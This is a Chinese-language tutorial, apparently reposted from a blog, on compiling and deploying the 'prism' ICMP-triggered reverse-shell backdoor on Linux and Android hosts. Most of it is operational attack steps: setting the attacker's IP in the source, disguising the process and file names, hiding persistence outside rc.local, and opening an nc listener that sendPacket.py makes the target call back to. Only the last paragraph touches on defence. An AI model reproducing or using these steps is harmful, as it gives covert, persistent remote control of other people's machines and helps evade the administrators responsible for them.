下载
wget https://github.com/andreafabrizi/prism/archive/master.zip
解压
unzip master.zip
切换目录
cd prism-master/
查看
ls
CHANGELOG.md prism.c README.md sendPacket.py
有两个主要文件
prism.c 是用来编译生成后门文件的
sendPacket.py 是用来发送数据激活后门文件的
编译前安装gcc
交叉编译
Android
将shell更改为/ system / bin / sh
apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64位(使用32位主机系统)
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit(使用64位主机系统)
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c
centos7 (64位)
yum -y install gcc
编译前修改文件内容
vi prism.c
在第40行
静态模式:
REVERSE_HOST:攻击者IP
REVERSE_PORT:(攻击者)使用那个端口接受数据
RESPAWN_DELAY:STATIC模式模式下自动发起连接的间隔时间(秒)
ICMP模式:
ICMP_KEY:用于激活后门的密钥/密码
通用参数:
MOTD:要在后门连接处打印的消息(类似欢迎信息,登录提醒)
SHELL:用于执行
PROCESS_NAME的 Shell :假进程名称(修改成和系统进程相似的,不容易被发现)
编译选项
gcc <..OPTIONS..> -Wall -s -o prism prism.c
可用的GCC选项:
-DDETACH #Run进程在后台
-DSTATIC #Enable STATIC模式(默认为ICMP模式)
-DNORENAME #不重命名进程
-DIPTABLES #Try刷新所有iptables规则
例:
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
建议将编译后的文件名字改成和系统相似的,这样不容易被发现
编译后生成文件prism,将此文件传到目标主机,执行即可。(加入开机启动的方法是可以写到开机启动文件里面,尽量不写到rc.local里,容易被发现,嘿嘿)
在本机开启两个终端
第一个监听相关端口等待后门主机反弹连接
nc -l -p 端口
第二个使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口。
./sendPacket.py 10.0.0.5 passwd 10.0.0.10 9999
#10.0.0.5 远程主机(靶机)的IP地址
#passwd 连接密码
#10.0.0.10 主控机IP地址
#9999 主控机连接端口
可以看到已经连接成功了
经过测试,想查杀这个后门是比较困难的,也是难以防范的。无论禁止root远程登录还是禁止icmp回显都不起作用。可以尝试禁止icmp数据包传入,但是这样给自己使用也带来了困难,最重要的还是从安装系统时就亲历亲为,一开始就做好安全防范,不给别人进去系统的机会。****
原文链接:linux/centos/ubuntu/debian系统下的ICMP反弹shell后门,转载请注明来源!